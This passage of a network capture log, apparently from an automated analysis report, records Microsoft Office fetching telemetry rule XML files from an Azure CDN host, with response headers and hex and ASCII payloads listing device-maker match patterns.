T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:02 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:02 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220402Z-16547b76f7fgfpmjhC1DFWw6ec00000005t000000000ut6u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:04 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:04 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a12cb5ef-101e-007a-7428-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220404Z-16559997f87vprq2hC1DFWczdn00000000cg0000000042xz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:04 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:04 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dd4d8867-801e-0083-7a9b-38f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220404Z-16547b76f7fm8pcwhC1DFWaxcc00000004kg0000000029ua x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:04 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:04 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:04 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 9666febd-501e-0035-5391-38c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220404Z-r18f44ddb69tncq7hC1DFW3ke800000000h0000000005a8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:04:04 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:04 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:04 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f08eb9b9-301e-0000-60ae-37eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220404Z-164f84587bfdt5l2hC1DFW88gs00000004s000000000exvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:04 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:04 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 2f50f683-a01e-006f-37fb-3613cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220404Z-164f84587bfn7ppchC1DFW45b400000000s000000000rk4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:05 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:05 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220405Z-16547b76f7fxqj4khC1DFWpypw00000003q000000000rvbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:04:05 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:05 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220405Z-164f84587bft9l9khC1DFW32rc00000006e000000000b8uc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:05 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 191b9440-801e-00a3-5a28-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220405Z-164f84587bfr8hdmhC1DFWt5nc00000004q000000000c1h0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:05 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:05 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220405Z-16547b76f7fsq6p7hC1DFWfx6800000004wg000000008bxd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:05 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:05 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220405Z-1866b5c5fbbg9tvxhC1DFWy9mg00000002ag0000000060s6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:05 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:06 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 373f0e0b-901e-008f-80b0-3767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220406Z-16547b76f7ffqpvqhC1DFWwf3n000000010g000000003yr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 22:04:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 